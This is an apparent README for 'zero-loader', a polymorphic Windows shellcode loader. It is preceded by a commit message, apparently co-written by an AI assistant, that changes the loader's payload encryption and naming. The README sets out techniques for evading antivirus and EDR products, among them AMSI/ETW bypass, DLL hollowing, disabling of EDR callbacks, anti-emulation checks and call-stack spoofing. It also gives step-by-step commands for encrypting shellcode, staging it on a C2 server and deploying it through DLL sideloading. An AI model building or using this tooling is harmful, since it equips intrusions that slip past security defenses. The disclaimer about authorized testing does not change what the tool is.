The URL passed via --url (e.g. https://server/payload.dat) and the file Encrypt.py wrote (data.enc) didn't match — operators had to rename the file before uploading, which was both error-prone and pointlessly noisy ("data.enc" itself screams "encrypted blob" to any FS scanner). Encrypt.py now defaults the output filename to the URL's last path component, so encrypt-then-upload is a no-rename flow. --out <file> overrides if a different name is needed. --url https://c2/payload.dat -> writes payload.dat --url https://c2/foo.bin -> writes foo.bin --url https://c2/x --out something.dat -> writes something.dat Downstream: - tests/c2-integration/build-demos.py: reads ROOT/<label>.dat directly instead of ROOT/data.enc → ENC_DIR/<label>.dat. - tests/c2-integration/run-loader-test.py: looks for payload.dat after the build step (URL basename is hardcoded to payload.dat for the runner). - host-payload.py docstring + route handler: keeps /payload.dat as the primary URL; /data.enc still aliased for backward compat. - SideloadGen.py deploy hint: updated. - CLAUDE.md / README.md / web/static/index.html: docs updated to refer to the URL-basename convention instead of hardcoded "data.enc". - .gitignore: payload.dat + *.enc added. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
zero-loader
Polymorphic x64 shellcode loader
Zero CRT. Zero static signatures. Zero trace in the call stack.
Every build produces a unique binary — nothing matches across compilations.
Warning
This project is intended for authorized security testing, research, and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author assumes no liability for misuse.
Overview
Most loaders get flagged because they ship the same binary. zero-loader regenerates all cryptographic material on every build — keys, nonces, string encoding, PE metadata. No two compilations share a hash.
Features
Evasion
| Indirect Syscalls | SSN sourced from a clean \KnownDlls\ntdll.dll section (defeats userland hooks on ntdll). 64 syscall;ret gadgets pooled, randomly selected per call via RDTSC. Hooked-stub fallback for neighbour-SSN recovery |
| Patchless AMSI/ETW | VEH + hardware breakpoints (DR0/DR1) via NtContinue — zero bytes modified, passes integrity checks |
Module Stomping + .pdata |
Primary path. Picks a sacrificial DLL from a 4-entry allowlist (xpsservices / mfreadwrite / dbgcore / mfsensorgroup — low-sensitivity multimedia/debug modules, rotated per-run via RDTSC), overwrites its .text with shellcode, and registers a synthetic RUNTIME_FUNCTION via RtlAddFunctionTable. Defeats Elastic 8.11+ kernel ETW callstack validation that flags stomped regions with no .pdata entry. No NTFS transaction → Defender MpFilter has no hook here |
| Ghostly Hollowing | Tier-2 fallback. Copies sacrificial DLL to %TEMP%, opens with FILE_FLAG_DELETE_ON_CLOSE, writes XOR-encrypted shellcode at .text raw offset, creates SEC_IMAGE section, closes the file (disk file gone — section keeps the kernel FILE_OBJECT alive), maps + decrypts in memory. Bypasses Defender's MpFilter transaction-aware scanner entirely (Maldev Academy 2024 technique) |
| Phantom DLL Hollowing (XOR-in-transaction) | Tier-3 fallback. NTFS-transacted copy of a sacrificial DLL with the shellcode bytes XOR-encrypted before write (per-build 16-byte key); after NtCreateSection(SEC_IMAGE) + map, the loader flips RX → RW, XOR-decrypts in place, flips back. Defender's MpFilter transaction-aware scanner sees only encrypted bytes in the in-flight view |
| Anti-emulation prologue | RDTSC determinism check + CPUID 0x40000000 hypervisor brand check + API hammering to exhaust mpengine's ~200ms wall-clock budget. Bails before any allocation/decryption if running inside Defender's emulator |
| Poison Fiber Kick-off | Primary execution path is ConvertThreadToFiber + SwitchToFiber on the main thread — no new OS thread, so PsSetCreateThreadNotifyRoutine never fires. Thread-pool fallback if fiber APIs unavailable |
| Multi-module Call Stack Spoofing | FF D3 (call rbx) gadgets pooled from ntdll / kernel32 / kernelbase (up to 64); per-run RDTSC pick defeats "single return-address frequency" heuristics. All frames resolve to legitimate modules |
| Wait:UserRequest keep-alive | Alertable NtWaitForSingleObject(NtCurrentProcess) instead of NtDelayExecution, so the thread's WaitReason reads UserRequest — beats Hunt-Sleeping-Beacons / BeaconHunter fingerprints |
| Anti-Analysis | PEB debugger flag, NtGlobalFlag, CPU count, RDTSC timing delta |
| IAT Camouflage | Dead-code benign imports the optimizer cannot eliminate |
| Blind DLL Notifications | Walks and unlinks all EDR LdrRegisterDllNotification callbacks — subsequent LoadLibrary invisible |
| DLL preload shuffle | After blinding, amsi/wininet/ktmw32 are preloaded in a RDTSC-seeded Fisher-Yates order so the remaining kernel-ETW image-load sequence is unpredictable |
| Exit Hook | Patches RtlExitUserProcess with PAUSE loop — prevents host exit from killing C2 (DLL sideload) |
| Post-Exec Cleanup | Removes VEH, clears DR0/DR1/DR7 via NtContinue, wipes keys/URLs/nonces before shellcode execution |
Crypto & Staging
| Chaskey-12 CTR | ARX block cipher — pure ALU, no S-boxes, no lookup tables, no RC4 signatures |
| LZNT1 Compression | Compressed before encryption, decompressed at runtime via ntdll |
| Polymorphic Strings | 4-byte rotating XOR across 25+ strings, keys regenerated every build |
| PE Mutation | TimeDateStamp, Rich header, section padding, checksum — randomized post-build |
| Entropy Balancing | Section padding filled with natural-language strings (API names, HTTP headers, lorem ipsum) so overall section entropy stays in the 4.5-6.5 bit/byte range, dodging Defender ML / ESET / Sophos high-entropy heuristics |
| HTTPS Staging | Dynamic WinINet + InternetCrackUrlA + self-signed cert bypass |
| W^X Memory | PAGE_EXECUTE_READ default. RWX_SHELLCODE flag for Go-based implants |
DLL Sideloading
| Export Forwarding | Auto-generated linker pragmas — PE loader handles all legitimate API calls natively |
| Version Info Cloning | Extracts and reproduces VS_VERSIONINFO from target DLL |
| Process Persistence | RtlExitUserProcess patch + LdrAddRefDll pin — DLL survives host exit |
| Optional UAC | uac build flag enables self-relaunch elevation via ShellExecuteA("runas") |
| Loader Lock Safe | DllMain uses ntdll-only APIs; loader pipeline deferred to thread pool |
Quick Start
# 1 Encrypt & compress shellcode
python Encrypt.py payload.bin --url https://<C2>:<PORT>/payload.dat
# 2 Build
build.bat # EXE
build.bat uac # EXE with UAC manifest
# 3 Deploy — upload payload.dat (URL basename) to staging server, deliver the EXE
Re-run steps 1 & 2 for a completely new binary.
Web Console (optional)
A browser-based wrapper for the three CLI steps above (encrypt / sideload /
build). Runs on 127.0.0.1 only — no auth, not meant to be exposed to a
network.
cd web
run.bat # first run creates .venv and installs Flask
# then starts http://127.0.0.1:7890
The console streams build.bat output live, shows per-section entropy from
Mutate.py, and exposes every compile-time flag (DEBUG, RWX_SHELLCODE,
ENABLE_SYNTHETIC_STACK, uac) as a checkbox. Built artifacts appear in the
sidebar with one-click download.
DLL Sideloading
# 1 Generate export forwarding
python SideloadGen.py C:\Windows\System32\<target>.dll
# 2 Encrypt shellcode
python Encrypt.py payload.bin --url https://<C2>:<PORT>/payload.dat
# 3 Build
build.bat sideload <target>.dll # no UAC
build.bat sideload <target>.dll uac # self-relaunch UAC
# 4 Deploy
# Rename real <target>.dll → <target>_orig.dll
# Place proxy <target>.dll + <target>_orig.dll alongside host EXE
# Upload payload.dat (URL basename) to staging server, run host EXE
Build Flags
Edit Common.h or pass via build.bat:
| Flag | Default | Purpose |
|---|---|---|
DEBUG |
Off | Logging to debug.log, skips anti-analysis |
RWX_SHELLCODE |
Off | PAGE_EXECUTE_READWRITE for Go/Sliver |
BUILD_DLL |
Off | DLL sideload build (set by build.bat sideload) |
REQUIRE_ELEVATION |
Off | Self-relaunch UAC for DLL sideload (build.bat sideload ... uac) |
ENABLE_SYNTHETIC_STACK |
Off | Swap RSP to a 1 MB synthetic stack with three fake ntdll/kernel32 return addresses before shellcode runs (Draugr MVP). Disabled by default — the heap allocation and borrowed .pdata coverage are themselves heuristic signals; enable only after validating with Moneta / Pe-Sieve / WinDbg stack-walk in the target environment |
Requirements
- Windows 10/11 x64
- Visual Studio 2022+ (MSVC + ml64)
- Python 3.x
Architecture
Execution Chain
Main()
│
├─ IatCamouflage pad IAT with benign imports
├─ AntiAnalysis PEB · NtGlobalFlag · RDTSC
├─ InitializeNtSyscalls single-pass export scan
│ └ SwitchToCleanNtdll (\KnownDlls\ntdll.dll)
│ └ 64-entry syscall;ret gadget pool
├─ InitializeWinApis FindLoadedModuleW → kernel32 → JOAAT resolve
├─ BlindDllNotifications unlink LdrRegisterDllNotification entries
├─ ShufflePreloadLibraries Fisher-Yates (RDTSC) amsi/wininet/ktmw32
├─ AntiAnalysis PEB.BeingDebugged · NtGlobalFlag · NumberOfProcessors · RDTSC
├─ AntiEmulation RDTSC variance · CPUID hv brand · mpengine budget burn
├─ PatchlessAmsiEtw DR0 = EtwEventWrite
│ DR1 = AmsiScanBuffer
├─ BruteForceDecryption recover Chaskey key
├─ DownloadPayload HTTPS GET → encrypted blob
├─ ChaskeyCtrDecrypt in-place decryption
├─ DecompressPayload LZNT1 via RtlDecompressBuffer
│
├─ ┌ ModuleStomp ──────────── allowlist + overwrite .text + RtlAddFunctionTable
├─ │ GhostlyHollow ────────── DELETE_ON_CLOSE → SEC_IMAGE → file unlinked
├─ │ PhantomDllHollow ─────── NTFS txn + XOR-encrypted .text → SEC_IMAGE → rollback
├─ └ NtAllocateVirtualMemory private RW → RX (last resort)
│
├─ CleanupEvasion wipe VEH · DR regs · keys · URLs
├─ CollectCallGadgets pool FF D3 from ntdll/k32/kbase/dbgcore/dbghelp/dsdmo
├─ GetRandomCallGadget RDTSC pick
├─ SetSpoofTarget configure ASM trampoline
├─ [opt] BuildSyntheticStack 1 MB fake stack · 3 ntdll/k32 anchors
│
├─ ConvertThreadToFiber primary: Poison Fiber on main thread
├─ CreateFiber(SpoofCallback)
└─ SwitchToFiber never returns — shellcode runs on fiber
↳ fallback if fiber APIs unavailable:
TpAllocWork / TpPostWork + alertable NtWaitForSingleObject
DLL Sideload Flow
Host EXE loads proxy DLL → DllMain
│
├─ PEB walk → find ntdll
├─ InstallExitHook patch RtlExitUserProcess (PAUSE loop)
├─ TpAllocWork(SideloadWorker) → TpPostWork → return TRUE
│ [Host app continues, ExitProcess blocked]
│
└─ SideloadWorker (thread pool)
├─ [uac] IsElevated? → no: ShellExecuteA "runas" → terminate self
├─ LdrAddRefDll pin DLL in memory
└─ Main() full loader pipeline
Call Stack
Default (Poison Fiber path):
RIP shellcode ← phantom/stomped DLL .text
↓ call rbx gadget ← ntdll / kernel32 / kernelbase (randomized)
↓ fiber entry frame ← fiber-allocated stack
With ENABLE_SYNTHETIC_STACK the fiber stack is replaced by a
pre-built synthetic chain:
RIP shellcode ← phantom/stomped DLL .text
↓ call-gadget return ← ntdll / kernel32 / kernelbase
↓ NtWaitForSingleObject + 0x20 ← ntdll
↓ RtlUserThreadStart + 0x20 ← ntdll
↓ BaseThreadInitThunk + 0x20 ← kernel32
Stomped regions carry a synthetic RUNTIME_FUNCTION registered
via RtlAddFunctionTable, so RtlLookupFunctionEntry(rip) returns
a valid handle and the stackwalker can unwind each frame.
Encryption Pipeline
Build time Runtime
────────── ───────
shellcode.bin HTTPS download
│ │
LZNT1 compress Chaskey-CTR decrypt
│ │
Chaskey-CTR encrypt ─→ payload.dat ─→ LZNT1 decompress
│ │
key protection brute-force recovery
(XOR + offset)
│
Payload.h
(randomized keys, nonce, strings)
Project Layout
main.c orchestrates the execution chain
Syscalls.h/.c indirect syscall engine · SSN + gadget pool
AsmStub.asm x64 MASM · RunSyscall · SpoofCallback
WinApi.c PEB walking · JOAAT hashing · CRT stubs
Evasion.c patchless AMSI/ETW · anti-analysis · cleanup
Stomper.c phantom hollowing (auto DLL scan) · module stomping · gadgets
Crypt.c Chaskey-12 CTR · LZNT1 · key recovery
Staging.c HTTPS staging · cert bypass
Common.h defines · hashes · typedefs · macros
Structs.h undocumented NT structures
Payload.h auto-generated (never edit)
Sideload.c DLL entry point · exit hook · elevation
SideloadGen.py export forwarding generator · version info cloning
Sideload.h auto-generated export forwards (never edit)
Sideload.rc auto-generated version info (never edit)
Encrypt.py encryption + compression + obfuscation
Mutate.py post-build PE metadata randomizer
build.bat ml64 → cl → Mutate.py